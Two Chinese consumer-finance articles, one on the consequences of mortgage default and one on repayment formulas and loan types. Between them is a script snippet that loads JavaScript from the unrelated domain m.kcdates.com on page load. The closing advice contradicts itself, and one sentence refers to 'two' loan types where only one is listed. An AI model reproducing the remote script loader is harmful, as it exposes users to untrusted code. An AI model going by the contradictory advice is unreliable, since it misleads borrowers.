千万不要轻视房贷断供的后果 真的非常严重

就现在的房价来看，对许多人来说，一次性支付全部的房款都比较困难，所以大家普遍都选择用贷款买房。不过用贷款来买房子有的时候也可能会出现无法偿还的状况，那么房贷断供的后果大家都了解吗？如果房贷断供会给我们的生活带来什么样的影响呢？1、房贷断供的后果之罚息购房者如果没有按时偿还贷款，除了要把款项补齐之外，还需要支付逾期的利息。购房者办理贷款时签订的借款合同中会有规定，如果购房者没有按时偿还贷款，就会产生一定金额的罚息。2、房贷断供的后果之房子被拍卖房贷断供的后果会造成经济上的损失。如果购房者没有办法按时还贷款，出现房贷断供，首付款以及其他税费等购房支出及有可能会浪费掉。房贷断供后，银行会申请法院拍卖房产。法院拍卖所收回的款项，在扣除受理费、拍卖费等各种费用之后，剩下的钱用来偿还欠银行的贷款和罚息。如果拍卖收回的资金不足以偿还贷款的话，购房者还必须得还剩余不足部分的贷款。可以说一般人难以承受这么严重的房贷断供的后果。3、房贷断供的后果之影响征信房贷断供不单单是会造成经济上的损失，还会影响个人的征信。如果购房者因为个人的原因没有按时偿还贷款，出现房贷断供，就会使自己的个人信用记录受到影响，很有可能会上黑名单。只要上了征信黑名单，以后再想要贷款或者是申请信用卡，甚至是坐飞机、高铁等也都会受到各种限制。如果购房者出现了还贷困难的情况，可以找亲朋好友借钱暂时缓解一下，或者是向银行申请把贷款的期限延长等。房贷断供的后果大家也都看到了，一定要避免房贷断供。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

买房贷款怎么算月供 购房贷款的主要种类

现在不管是哪个城市,房价都是只涨不跌，这样的情况给很多购房需求者带来了很大的经济压力，但是人们还是会迫不得已地去买房。关于买房现在有很多的方式，但是大多数的人由于一次性付不起全款，而选择了分期购房。而且购房的好处就是出一少部分钱就可以住到新房，但是每个月都必须交钱，大家知道房贷月供怎么算吗?接下来小编就为大家做详细介绍吧!房贷月供怎么算之利用公式计算等额本息还款法:每月月供额=〔贷款本金×月利率×(1+月利率)^还款月数〕÷〔(1+月利率)^还款月数-1〕每月应还利息=贷款本金×月利率×〔(1+月利率)^还款月数-(1+月利率)^(还款月序号-1)〕÷〔(1+月利率)^还款月数-1〕每月应还本金=贷款本金×月利率×(1+月利率)^(还款月序号-1)÷〔(1+月利率)^还款月数-1〕总利息=还款月数×每月月供额-贷款本金购房贷款的主要种类1、住房公积金贷款：对于已参加交纳住房公积金的居民来说，贷款购房时，应该优选住房公积金低息贷款。住房公积金贷款具有政策补贴性质，贷款利率很低，不仅低于同期商业银行贷款利率(仅为商业银行抵押贷款利率的一半)，而且要低于同期商业银行存款利率，也就是说，在住房公积金抵押贷款利率和银行存款利率之间存在一个利差。同时，住房公积金贷款在办理抵押和保险等相关手续时收费减半。2、个人住房商业性贷款：以上两种贷款方式限于交纳了住房公积金的单位员工使用，限定条件多，所以，未缴存住房公积金的人无缘申贷，但可以申请商业银行个人住房担保贷款，也就是银行按揭贷款。只要您在贷款银行存款余额占购买住房所需资金额的比例不低于30%，并以此作为购房首期付款，且有贷款银行认可的资产作为抵押或质押，或有足够代偿能力的单位或个人作为偿还贷款本息并承担连带责任的保证人，那么就可申请使用银行按揭贷款。3、个人住房组合贷款：住房公积金管理核心可以发放的公积金贷款，较高限额一般为10-29万元，如果购房款超过这个限额，不足部分要向银行申请住房商业性贷款。这两种贷款合起来称之为组合贷款。此项业务可由一个银行的房地产信贷部统一办理。组合贷款利率较为适中，贷款金额较大，因而较多被贷款者选用。关于房贷月供怎么算和购房贷款的主要种类大家现在应该有了具体的了解了吧!知道了这些情况之后大家以后在选择分期购房的时候一定要事先计算好每个月需要还的房钱，看看自己的收入有没有能力偿还这些，大家没有能力的话小编建议大家还是不要放弃购房，这样的话会给大家的日常生活带来很大的经济压力，从而影响到大家的正常生活。